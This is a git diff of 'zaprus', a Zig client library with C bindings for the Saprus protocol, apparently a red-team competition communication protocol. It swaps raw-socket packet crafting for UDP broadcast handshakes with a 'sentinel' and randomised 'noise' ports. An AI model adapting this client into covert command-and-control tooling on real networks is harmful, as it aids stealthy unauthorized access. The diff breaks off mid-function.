Big changes to the C api implementations

Should map directly to the zig struct instead of mallocing

LICENSE.md

@@ -1,676 +0,0 @@
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-PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
-
-### 17. Interpretation of Sections 15 and 16.
-
-If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
-END OF TERMS AND CONDITIONS
-
-## How to Apply These Terms to Your New Programs
-
-If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these
-terms.
-
-To do so, attach the following notices to the program. It is safest to
-attach them to the start of each source file to most effectively state
-the exclusion of warranty; and each file should have at least the
-"copyright" line and a pointer to where the full notice is found.
-
-        <one line to give the program's name and a brief idea of what it does.>
-        Copyright (C) <year>  <name of author>
-
-        This program is free software: you can redistribute it and/or modify
-        it under the terms of the GNU General Public License as published by
-        the Free Software Foundation, either version 3 of the License, or
-        (at your option) any later version.
-
-        This program is distributed in the hope that it will be useful,
-        but WITHOUT ANY WARRANTY; without even the implied warranty of
-        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-        GNU General Public License for more details.
-
-        You should have received a copy of the GNU General Public License
-        along with this program.  If not, see <https://www.gnu.org/licenses/>.
-
-Also add information on how to contact you by electronic and paper
-mail.
-
-If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
-        <program>  Copyright (C) <year>  <name of author>
-        This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-        This is free software, and you are welcome to redistribute it
-        under certain conditions; type `show c' for details.
-
-The hypothetical commands \`show w' and \`show c' should show the
-appropriate parts of the General Public License. Of course, your
-program's commands might be different; for a GUI interface, you would
-use an "about box".
-
-You should also get your employer (if you work as a programmer) or
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary. For more information on this, and how to apply and follow
-the GNU GPL, see <https://www.gnu.org/licenses/>.
-
-The GNU General Public License does not permit incorporating your
-program into proprietary programs. If your program is a subroutine
-library, you may consider it more useful to permit linking proprietary
-applications with the library. If this is what you want to do, use the
-GNU Lesser General Public License instead of this License. But first,
-please read <https://www.gnu.org/licenses/why-not-lgpl.html>.
-

README.md

@@ -1,6 +0,0 @@
-# zaprus
-
-This is an implementation of the [Saprus protocol](https://gitlab.com/c2-games/red-team/saprus) in Zig.
-It is useful for developing clients either in Zig, or in any other language using the C bindings.
-
-Binary releases can be downloaded [here](https://cloud.zambito.xyz/s/cNaLeDz38W5ZcZs).

build.zig

@@ -1,148 +1,88 @@
 const std = @import("std");
+const Step = std.Build.Step;
 
-// Although this function looks imperative, it does not perform the build
-// directly and instead it mutates the build graph (`b`) that will be then
-// executed by an external runner. The functions in `std.Build` implement a DSL
-// for defining build steps and express dependencies between them, allowing the
-// build runner to parallelize the build automatically (and the cache system to
-// know when a step doesn't need to be re-run).
+// Although this function looks imperative, note that its job is to
+// declaratively construct a build graph that will be executed by an external
+// runner.
 pub fn build(b: *std.Build) void {
-    // Standard target options allow the person running `zig build` to choose
+    // Standard target options allows the person running `zig build` to choose
     // what target to build for. Here we do not override the defaults, which
     // means any target is allowed, and the default is native. Other options
     // for restricting supported target set are available.
     const target = b.standardTargetOptions(.{});
+
     // Standard optimization options allow the person running `zig build` to select
     // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
     // set a preferred release mode, allowing the user to decide how to optimize.
     const optimize = b.standardOptimizeOption(.{});
-    // It's also possible to define more custom flags to toggle optional features
-    // of this build script using `b.option()`. All defined flags (including
-    // target and optimize options) will be listed when running `zig build --help`
-    // in this directory.
 
-    // Get default install step (called with `zig build` or `zig build install`)
-    const install_step = b.getInstallStep();
-
-    // This creates a module, which represents a collection of source files alongside
-    // some compilation options, such as optimization mode and linked system libraries.
-    // Zig modules are the preferred way of making Zig code available to consumers.
-    // addModule defines a module that we intend to make available for importing
-    // to our consumers. We must give it a name because a Zig package can expose
-    // multiple modules and consumers will need to be able to specify which
-    // module they want to access.
-    const mod = b.addModule("zaprus", .{
-        // The root source file is the "entry point" of this module. Users of
-        // this module will only be able to access public declarations contained
-        // in this file, which means that if you have declarations that you
-        // intend to expose to consumers that were defined in other files part
-        // of this module, you will have to make sure to re-export them from
-        // the root file.
+    const lib_mod = b.createModule(.{
         .root_source_file = b.path("src/root.zig"),
-        // Later on we'll use this module as the root module of a test executable
-        // which requires us to specify a target.
-        .target = target,
-    });
-
-    // Only used to generate the documentation
-    const zaprus_lib = b.addLibrary(.{
-        .name = "zaprus",
-        .root_module = mod,
-    });
-
-    const docs_step = b.step("doc", "Emit documentation");
-    const docs_install = b.addInstallDirectory(.{
-        .install_dir = .prefix,
-        .install_subdir = "docs",
-        .source_dir = zaprus_lib.getEmittedDocs(),
-    });
-
-    docs_step.dependOn(&docs_install.step);
-    install_step.dependOn(docs_step);
-
-    // Create static library
-    const lib = b.addLibrary(.{
-        .name = "zaprus",
-        .root_module = b.createModule(.{
-            .root_source_file = b.path("src/c_api.zig"),
         .target = target,
         .optimize = optimize,
-            .link_libc = true,
-            .imports = &.{
-                .{ .name = "zaprus", .module = mod },
-            },
-        }),
     });
 
-    b.installArtifact(lib);
-    lib.installHeader(b.path("include/zaprus.h"), "zaprus.h");
+    // We will also create a module for our other entry point, 'main.zig'.
+    const exe_mod = b.createModule(.{
+        // `root_source_file` is the Zig "entry point" of the module. If a module
+        // only contains e.g. external object files, you can make this `null`.
+        // In this case the main source file is merely a path, however, in more
+        // complicated build scripts, this could be a generated file.
+        .root_source_file = b.path("src/main.zig"),
+        .target = target,
+        .optimize = optimize,
+    });
 
-    // Here we define an executable. An executable needs to have a root module
-    // which needs to expose a `main` function. While we could add a main function
-    // to the module defined above, it's sometimes preferable to split business
-    // logic and the CLI into two separate modules.
-    //
-    // If your goal is to create a Zig library for others to use, consider if
-    // it might benefit from also exposing a CLI tool. A parser library for a
-    // data serialization format could also bundle a CLI syntax checker, for example.
-    //
-    // If instead your goal is to create an executable, consider if users might
-    // be interested in also being able to embed the core functionality of your
-    // program in their own executable in order to avoid the overhead involved in
-    // subprocessing your CLI tool.
-    //
-    // If neither case applies to you, feel free to delete the declaration you
-    // don't need and to put everything under a single module.
+    lib_mod.addImport("network", b.dependency("network", .{}).module("network"));
+
+    exe_mod.addImport("zaprus", lib_mod);
+    exe_mod.addImport("clap", b.dependency("clap", .{}).module("clap"));
+
+    const static_lib = b.addLibrary(.{
+        .linkage = .static,
+        .name = "zaprus",
+        .root_module = lib_mod,
+    });
+    static_lib.addIncludePath(.{ .cwd_relative = "include" });
+    static_lib.linkLibC();
+
+    b.installArtifact(static_lib);
+
+    const dynamic_lib = b.addLibrary(.{
+        .linkage = .dynamic,
+        .name = "zaprus",
+        .root_module = lib_mod,
+    });
+    dynamic_lib.addIncludePath(.{ .cwd_relative = "include" });
+    dynamic_lib.linkLibC();
+
+    b.installArtifact(dynamic_lib);
+
+    // C Headers
+    const c_header = b.addInstallHeaderFile(b.path("include/zaprus.h"), "zaprus.h");
+    b.getInstallStep().dependOn(&c_header.step);
+
+    // This creates another `std.Build.Step.Compile`, but this one builds an executable
+    // rather than a static library.
     const exe = b.addExecutable(.{
         .name = "zaprus",
-        .root_module = b.createModule(.{
-            // b.createModule defines a new module just like b.addModule but,
-            // unlike b.addModule, it does not expose the module to consumers of
-            // this package, which is why in this case we don't have to give it a name.
-            .root_source_file = b.path("src/main.zig"),
-            // Target and optimization levels must be explicitly wired in when
-            // defining an executable or library (in the root module), and you
-            // can also hardcode a specific target for an executable or library
-            // definition if desireable (e.g. firmware for embedded devices).
-            .target = target,
-            .optimize = optimize,
-            // List of modules available for import in source files part of the
-            // root module.
-            .imports = &.{
-                // Here "zaprus" is the name you will use in your source code to
-                // import this module (e.g. `@import("zaprus")`). The name is
-                // repeated because you are allowed to rename your imports, which
-                // can be extremely useful in case of collisions (which can happen
-                // importing modules from different packages).
-                .{ .name = "zaprus", .module = mod },
-            },
-        }),
+        .root_module = exe_mod,
     });
 
     // This declares intent for the executable to be installed into the
-    // install prefix when running `zig build` (i.e. when executing the default
-    // step). By default the install prefix is `zig-out/` but can be overridden
-    // by passing `--prefix` or `-p`.
+    // standard location when the user invokes the "install" step (the default
+    // step when running `zig build`).
     b.installArtifact(exe);
 
-    // This creates a top level step. Top level steps have a name and can be
-    // invoked by name when running `zig build` (e.g. `zig build run`).
-    // This will evaluate the `run` step rather than the default step.
-    // For a top level step to actually do something, it must depend on other
-    // steps (e.g. a Run step, as we will see in a moment).
-    const run_step = b.step("run", "Run the app");
-
-    // This creates a RunArtifact step in the build graph. A RunArtifact step
-    // invokes an executable compiled by Zig. Steps will only be executed by the
-    // runner if invoked directly by the user (in the case of top level steps)
-    // or if another step depends on it, so it's up to you to define when and
-    // how this Run step will be executed. In our case we want to run it when
-    // the user runs `zig build run`, so we create a dependency link.
+    // This *creates* a Run step in the build graph, to be executed when another
+    // step is evaluated that depends on it. The next line below will establish
+    // such a dependency.
     const run_cmd = b.addRunArtifact(exe);
-    run_step.dependOn(&run_cmd.step);
 
-    // By making the run step depend on the default step, it will be run from the
+    // By making the run step depend on the install step, it will be run from the
     // installation directory rather than directly from within the cache directory.
+    // This is not necessary, however, if the application depends on other installed
+    // files, this ensures they will be present and in the expected location.
     run_cmd.step.dependOn(b.getInstallStep());
 
     // This allows the user to pass arguments to the application in the build
@@ -151,42 +91,21 @@ pub fn build(b: *std.Build) void {
         run_cmd.addArgs(args);
     }
 
-    // Creates an executable that will run `test` blocks from the provided module.
-    // Here `mod` needs to define a target, which is why earlier we made sure to
-    // set the releative field.
-    const mod_tests = b.addTest(.{
-        .root_module = mod,
+    // This creates a build step. It will be visible in the `zig build --help` menu,
+    // and can be selected like this: `zig build run`
+    // This will evaluate the `run` step rather than the default, which is "install".
+    const run_step = b.step("run", "Run the app");
+    run_step.dependOn(&run_cmd.step);
+
+    const exe_unit_tests = b.addTest(.{
+        .root_module = exe_mod,
     });
 
-    // A run step that will run the test executable.
-    const run_mod_tests = b.addRunArtifact(mod_tests);
+    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);
 
-    // Creates an executable that will run `test` blocks from the executable's
-    // root module. Note that test executables only test one module at a time,
-    // hence why we have to create two separate ones.
-    const exe_tests = b.addTest(.{
-        .root_module = exe.root_module,
-    });
-
-    // A run step that will run the second test executable.
-    const run_exe_tests = b.addRunArtifact(exe_tests);
-
-    // A top level step for running all tests. dependOn can be called multiple
-    // times and since the two run steps do not depend on one another, this will
-    // make the two of them run in parallel.
-    const test_step = b.step("test", "Run tests");
-    test_step.dependOn(&run_mod_tests.step);
-    test_step.dependOn(&run_exe_tests.step);
-
-    // Just like flags, top level steps are also listed in the `--help` menu.
-    //
-    // The Zig build system is entirely implemented in userland, which means
-    // that it cannot hook into private compiler APIs. All compilation work
-    // orchestrated by the build system will result in other Zig compiler
-    // subcommands being invoked with the right flags defined. You can observe
-    // these invocations when one fails (or you pass a flag to increase
-    // verbosity) to validate assumptions and diagnose problems.
-    //
-    // Lastly, the Zig build system is relatively simple and self-contained,
-    // and reading its source code will allow you to master it.
+    // Similar to creating the run step earlier, this exposes a `test` step to
+    // the `zig build --help` menu, providing a way for the user to request
+    // running the unit tests.
+    const test_step = b.step("test", "Run unit tests");
+    test_step.dependOn(&run_exe_unit_tests.step);
 }

build.zig.zon

@@ -10,7 +10,7 @@
 
     // This is a [Semantic Version](https://semver.org/).
     // In a future version of Zig it will be used for package deduplication.
-    .version = "0.2.0",
+    .version = "0.0.0",
 
     // Together with name, this represents a globally unique package
     // identifier. This field is generated by the Zig toolchain when the
@@ -28,14 +28,23 @@
 
     // Tracks the earliest Zig version that the package considers to be a
     // supported use case.
-    .minimum_zig_version = "0.16.0",
+    .minimum_zig_version = "0.14.0",
 
     // This field is optional.
     // Each dependency must either provide a `url` and `hash`, or a `path`.
     // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
     // Once all dependencies are fetched, `zig build` no longer requires
     // internet connectivity.
-    .dependencies = .{},
+    .dependencies = .{
+        .network = .{
+            .url = "https://github.com/ikskuh/zig-network/archive/c76240d2240711a3dcbf1c0fb461d5d1f18be79a.zip",
+            .hash = "network-0.1.0-AAAAAOwlAQAQ6zKPUrsibdpGisxld9ftUKGdMvcCSpaj",
+        },
+        .clap = .{
+            .url = "git+https://github.com/Hejsil/zig-clap?ref=0.10.0#e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a",
+            .hash = "clap-0.10.0-oBajB434AQBDh-Ei3YtoKIRxZacVPF1iSwp3IX_ZB8f0",
+        },
+    },
     .paths = .{
         "build.zig",
         "build.zig.zon",

include/zaprus.h

@@ -1,43 +1,46 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with Zaprus. If not, see <https://www.gnu.org/licenses/>. 
+// client
 
-#ifndef ZAPRUS_H
-#define ZAPRUS_H
+#include<stdint.h>
+#include<stdlib.h>
 
-#include <stdint.h>
-#include <stdlib.h>
+int zaprus_init(void);
 
-typedef void* zaprus_client;
-typedef void* zaprus_connection;
+int zaprus_deinit(void);
 
-// Returns NULL if there was an error.
-zaprus_client zaprus_init_client(void);
+int zaprus_send_relay(const char* payload, size_t len, char dest[4]);
 
-void zaprus_deinit_client(zaprus_client client);
+int zaprus_send_initial_connection(const char* payload, size_t len, uint16_t initial_port);
 
-// Returns 0 on success, else returns 1.
-int zaprus_client_send_relay(zaprus_client client, const char* payload, size_t payload_len, const char dest[4]);
+struct SaprusMessage* zaprus_connect(const char* payload, size_t len);
 
-// Returns NULL if there was an error.
-// Caller should call zaprus_deinit_connection when done with the connection.
-zaprus_connection zaprus_connect(zaprus_client client, const char* payload, size_t payload_len);
+// message
+#define SAPRUS_RELAY_MESSAGE_TYPE 0x003C
+#define SAPRUS_FILE_TRANSFER_MESSAGE_TYPE 0x8888
+#define SAPRUS_CONNECTION_MESSAGE_TYPE 0x00E9
 
-void zaprus_deinit_connection(zaprus_connection connection);
+struct SaprusMessage {
+  uint16_t packet_type;
+  uint16_t payload_len;
+  union {
+    struct {
+      char dest[4];
+    } relay;
+    struct {
+      uint16_t src_port;
+      uint16_t dest_port;
+      uint32_t seq_num;
+      uint32_t msg_id;
+      char _reserved;
+      char options;
+    } connection;
+  } headers;
+  char *payload;
+};
 
-// Capacity is the maximum length of the output buffer.
-// out_len is modified to specify how much of the capacity is used by the response.
-// Blocks until the next message is available, or returns 1 if the underlying socket times out.
-// Returns 0 on success, else returns 1.
-int zaprus_connection_next(zaprus_connection connection, char *out, size_t capacity, size_t *out_len);
+// ptr should be freed by the caller.
+int zaprus_message_to_bytes(struct SaprusMessage msg, char** ptr, size_t* len);
 
-// Returns 0 on success, else returns 1.
-int zaprus_connection_send(zaprus_connection connection, const char *payload, size_t payload_len);
+// Return value should be destroyed with zaprus_message_deinit.
+struct SaprusMessage* zaprus_message_from_bytes(const char* bytes, size_t len);
 
-#endif // ZAPRUS_H
+void zaprus_message_deinit(struct SaprusMessage* msg);

src/Client.zig

@@ -1,182 +1,124 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+var rand: ?Random = null;
 
-//! A client is used to handle interactions with the network.
-
-const base64_enc = std.base64.standard.Encoder;
-const base64_dec = std.base64.standard.Decoder;
-
-const Client = @This();
-
-const max_message_size = 2048;
-
-pub const max_payload_len = RawSocket.max_payload_len;
-
-socket: RawSocket,
-
-pub fn init() !Client {
-    const socket: RawSocket = try .init();
-    return .{
-        .socket = socket,
-    };
+pub fn init() !void {
+    var prng = Random.DefaultPrng.init(blk: {
+        var seed: u64 = undefined;
+        try posix.getrandom(mem.asBytes(&seed));
+        break :blk seed;
+    });
+    rand = prng.random();
+    try network.init();
 }
 
-pub fn deinit(self: *Client) void {
-    self.socket.deinit();
-    self.* = undefined;
+pub fn deinit() void {
+    network.deinit();
 }
 
-/// Sends a fire and forget message over the network.
-/// This function asserts that `payload` fits within a single packet.
-pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void {
-    const io_source: std.Random.IoSource = .{ .io = io };
-    const rand = io_source.interface();
+fn broadcastSaprusMessage(msg: SaprusMessage, udp_port: u16, allocator: Allocator) !void {
+    const msg_bytes = try msg.toBytes(allocator);
+    defer allocator.free(msg_bytes);
 
-    var headers: EthIpUdp = .{
-        .src_mac = self.socket.mac,
-        .ip = .{
-            .id = rand.int(u16),
-            .src_addr = 0, //rand.int(u32),
-            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
-            .len = undefined,
-        },
-        .udp = .{
-            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dst_port = 8888,
-            .len = undefined,
-        },
+    var sock = try network.Socket.create(.ipv4, .udp);
+    defer sock.close();
+
+    try sock.setBroadcast(true);
+
+    // Bind to 0.0.0.0:0
+    const bind_addr = network.EndPoint{
+        .address = network.Address{ .ipv4 = network.Address.IPv4.any },
+        .port = 0,
     };
 
-    const relay: SaprusMessage = .{
+    const dest_addr = network.EndPoint{
+        .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
+        .port = udp_port,
+    };
+
+    try sock.bind(bind_addr);
+
+    _ = try sock.sendTo(dest_addr, msg_bytes);
+}
+
+pub fn sendRelay(payload: []const u8, dest: [4]u8, allocator: Allocator) !void {
+    const msg = SaprusMessage{
         .relay = .{
-            .dest = .fromBytes(&dest),
+            .header = .{ .dest = dest },
             .payload = payload,
         },
     };
 
-    var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined;
-    const relay_bytes = relay.toBytes(&relay_buf);
-    headers.setPayloadLen(relay_bytes.len);
-
-    var msg_buf: [max_message_size]u8 = undefined;
-    var msg_w: Writer = .fixed(&msg_buf);
-    msg_w.writeAll(&headers.toBytes()) catch unreachable;
-    msg_w.writeAll(relay_bytes) catch unreachable;
-    const full_msg = msg_w.buffered();
-
-    try self.socket.send(full_msg);
+    try broadcastSaprusMessage(msg, 8888, allocator);
 }
 
-/// Attempts to establish a new connection with the sentinel.
-pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection {
-    const io_source: std.Random.IoSource = .{ .io = io };
-    const rand = io_source.interface();
+fn randomPort() u16 {
+    var p: u16 = 0;
+    if (rand) |r| {
+        p = r.intRangeAtMost(u16, 1024, 65000);
+    } else unreachable;
 
-    var headers: EthIpUdp = .{
-        .src_mac = self.socket.mac,
-        .ip = .{
-            .id = rand.int(u16),
-            .src_addr = 0, //rand.int(u32),
-            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
-            .len = undefined,
-        },
-        .udp = .{
-            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dst_port = 8888,
-            .len = undefined,
-        },
-    };
+    return p;
+}
 
-    // udp dest port should not be 8888 after first
-    const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
-    var connection: SaprusMessage = .{
+pub fn sendInitialConnection(payload: []const u8, initial_port: u16, allocator: Allocator) !SaprusMessage {
+    const dest_port = randomPort();
+    const msg = SaprusMessage{
         .connection = .{
-            .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise
-            .seq = undefined,
-            .id = undefined,
+            .header = .{
+                .src_port = initial_port,
+                .dest_port = dest_port,
+            },
             .payload = payload,
         },
     };
 
-    log.debug("Setting bpf filter to port {}", .{connection.connection.src});
-    self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| {
-        log.err("Failed to set port filter: {t}", .{err});
-        return err;
-    };
-    log.debug("bpf set", .{});
+    try broadcastSaprusMessage(msg, 8888, allocator);
 
-    var connection_buf: [2048]u8 = undefined;
-    var connection_bytes = connection.toBytes(&connection_buf);
-    headers.setPayloadLen(connection_bytes.len);
-
-    log.debug("Building full message", .{});
-    var msg_buf: [2048]u8 = undefined;
-    var msg_w: Writer = .fixed(&msg_buf);
-    msg_w.writeAll(&headers.toBytes()) catch unreachable;
-    msg_w.writeAll(connection_bytes) catch unreachable;
-    var full_msg = msg_w.buffered();
-    log.debug("Built full message. Sending message", .{});
-
-    try self.socket.send(full_msg);
-    var res_buf: [4096]u8 = undefined;
-
-    log.debug("Awaiting handshake response", .{});
-    // Ignore response from sentinel, just accept that we got one.
-    const full_handshake_res = try self.socket.receive(&res_buf);
-    const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| {
-        log.err("Parse error: {t}", .{err});
-        return err;
-    };
-    self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| {
-        log.err("Failed to set port filter: {t}", .{err});
-        return err;
-    };
-    connection.connection.dest = handshake_res.connection.src;
-    connection_bytes = connection.toBytes(&connection_buf);
-
-    headers.udp.dst_port = udp_dest_port;
-    headers.ip.id = rand.int(u16);
-    headers.setPayloadLen(connection_bytes.len);
-
-    log.debug("Building final handshake message", .{});
-
-    msg_w.end = 0;
-
-    msg_w.writeAll(&headers.toBytes()) catch unreachable;
-    msg_w.writeAll(connection_bytes) catch unreachable;
-    full_msg = msg_w.buffered();
-
-    try self.socket.send(full_msg);
-
-    return .{
-        .socket = self.socket,
-        .headers = headers,
-        .connection = connection,
-    };
+    return msg;
 }
 
-const RawSocket = @import("./RawSocket.zig");
+pub fn connect(payload: []const u8, allocator: Allocator) !SaprusMessage {
+    var initial_port: u16 = 0;
+    if (rand) |r| {
+        initial_port = r.intRangeAtMost(u16, 1024, 65000);
+    } else unreachable;
+
+    var initial_conn_res: ?SaprusMessage = null;
+    errdefer if (initial_conn_res) |c| c.deinit(allocator);
+
+    var sock = try network.Socket.create(.ipv4, .udp);
+    defer sock.close();
+
+    // Bind to 255.255.255.255:8888
+    const bind_addr = network.EndPoint{
+        .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
+        .port = 8888,
+    };
+
+    // timeout 1s
+    try sock.setReadTimeout(1 * std.time.us_per_s);
+    try sock.bind(bind_addr);
+
+    const msg = try sendInitialConnection(payload, initial_port, allocator);
+
+    var response_buf: [4096]u8 = undefined;
+    _ = try sock.receive(&response_buf); // Ignore message that I sent.
+    const len = try sock.receive(&response_buf);
+
+    initial_conn_res = try SaprusMessage.fromBytes(response_buf[0..len], allocator);
+
+    // Complete handshake after awaiting response
+    try broadcastSaprusMessage(msg, randomPort(), allocator);
+
+    return initial_conn_res.?;
+}
 
 const SaprusMessage = @import("message.zig").Message;
-const saprusParse = SaprusMessage.parse;
-const SaprusConnection = @import("Connection.zig");
-const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
 
 const std = @import("std");
-const Io = std.Io;
-const Writer = std.Io.Writer;
-const log = std.log;
+const Random = std.Random;
+const posix = std.posix;
+const mem = std.mem;
+
+const network = @import("network");
+
+const Allocator = mem.Allocator;

src/Connection.zig

@@ -1,105 +0,0 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
-
-socket: RawSocket,
-headers: EthIpUdp,
-connection: SaprusMessage,
-
-const Connection = @This();
-
-// 'p' as base64
-const pong = "cA==";
-
-/// Attempts to read from the network, and returns the next message, if any.
-///
-/// Asserts that `buf` is large enough to store the message that is received.
-///
-/// This will internally process management messages, and return the message
-/// payload for the next non management connection message.
-/// This function is ignorant to the message encoding.
-pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 {
-    while (true) {
-        log.debug("Awaiting connection message", .{});
-        const res = try self.socket.receive(buf);
-        log.debug("Received {} byte connection message", .{res.len});
-        const msg = SaprusMessage.parse(res[42..]) catch |err| {
-            log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] });
-            return err;
-        };
-
-        switch (msg) {
-            .connection => |con_res| {
-                if (try con_res.management()) |mgt| {
-                    log.debug("Received management message {t}", .{mgt});
-                    switch (mgt) {
-                        .ping => {
-                            log.debug("Sending pong", .{});
-                            try self.send(io, .{ .management = true }, pong);
-                            log.debug("Sent pong message", .{});
-                        },
-                        else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}),
-                    }
-                } else {
-                    log.debug("Payload was {s}", .{con_res.payload});
-                    return con_res.payload;
-                }
-            },
-            else => |m| {
-                std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)});
-            },
-        }
-    }
-}
-
-/// Attempts to write a message to the network.
-///
-/// Clients should pass `.{}` for options unless you know what you are doing.
-/// `buf` will be sent over the network as-is; this function is ignorant of encoding.
-pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void {
-    const io_source: std.Random.IoSource = .{ .io = io };
-    const rand = io_source.interface();
-
-    log.debug("Sending connection message", .{});
-
-    self.connection.connection.options = options;
-    self.connection.connection.payload = buf;
-    var connection_bytes_buf: [2048]u8 = undefined;
-    const connection_bytes = self.connection.toBytes(&connection_bytes_buf);
-
-    self.headers.ip.id = rand.int(u16);
-    self.headers.setPayloadLen(connection_bytes.len);
-
-    var msg_buf: [2048]u8 = undefined;
-    var msg_w: Writer = .fixed(&msg_buf);
-    try msg_w.writeAll(&self.headers.toBytes());
-    try msg_w.writeAll(connection_bytes);
-    const full_msg = msg_w.buffered();
-
-    try self.socket.send(full_msg);
-
-    log.debug("Sent {} byte connection message", .{full_msg.len});
-}
-
-const std = @import("std");
-const Io = std.Io;
-const Writer = std.Io.Writer;
-
-const log = std.log;
-
-const SaprusMessage = @import("./message.zig").Message;
-
-const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
-const RawSocket = @import("./RawSocket.zig");

src/EthIpUdp.zig

@@ -1,109 +0,0 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
-
-pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
-    // --- UDP (Last in memory, defined first for LSB->MSB) ---
-    udp: packed struct {
-        checksum: u16 = 0,
-        len: u16,
-        dst_port: u16,
-        src_port: u16,
-    },
-
-    // --- IP ---
-    ip: packed struct {
-        dst_addr: u32,
-        src_addr: u32,
-        header_checksum: u16 = 0,
-        protocol: u8 = 17, // udp
-        ttl: u8 = 0x40,
-
-        // fragment_offset (13 bits) + flags (3 bits) = 16 bits
-        // In Big Endian, flags are the high bits of the first byte.
-        // To have flags appear first in the stream, define them last here.
-        fragment_offset: u13 = 0,
-        flags: packed struct(u3) {
-            reserved: u1 = 0,
-            dont_fragment: u1 = 1,
-            more_fragments: u1 = 0,
-        } = .{},
-
-        id: u16,
-        len: u16,
-        tos: u8 = undefined,
-
-        // ip_version (4 bits) + ihl (4 bits) = 8 bits
-        // To have version appear first (high nibble), define it last.
-        ihl: u4 = 5,
-        ip_version: u4 = 4,
-    },
-
-    // --- Ethernet ---
-    eth_type: u16 = std.os.linux.ETH.P.IP,
-    src_mac: @Vector(6, u8),
-    dst_mac: @Vector(6, u8) = @splat(0xff),
-
-    pub fn toBytes(self: @This()) [336 / 8]u8 {
-        var res: [336 / 8]u8 = undefined;
-        var w: Writer = .fixed(&res);
-        w.writeStruct(self, .big) catch unreachable;
-        return res;
-    }
-
-    pub fn setPayloadLen(self: *@This(), len: usize) void {
-        self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
-
-        // Zero the checksum field before calculation
-        self.ip.header_checksum = 0;
-
-        // Serialize IP header to big-endian bytes
-        var ip_bytes: [@bitSizeOf(@TypeOf(self.ip)) / 8]u8 = undefined;
-        var w: Writer = .fixed(&ip_bytes);
-        w.writeStruct(self.ip, .big) catch unreachable;
-
-        // Calculate checksum over serialized bytes
-        self.ip.header_checksum = onesComplement16(&ip_bytes);
-
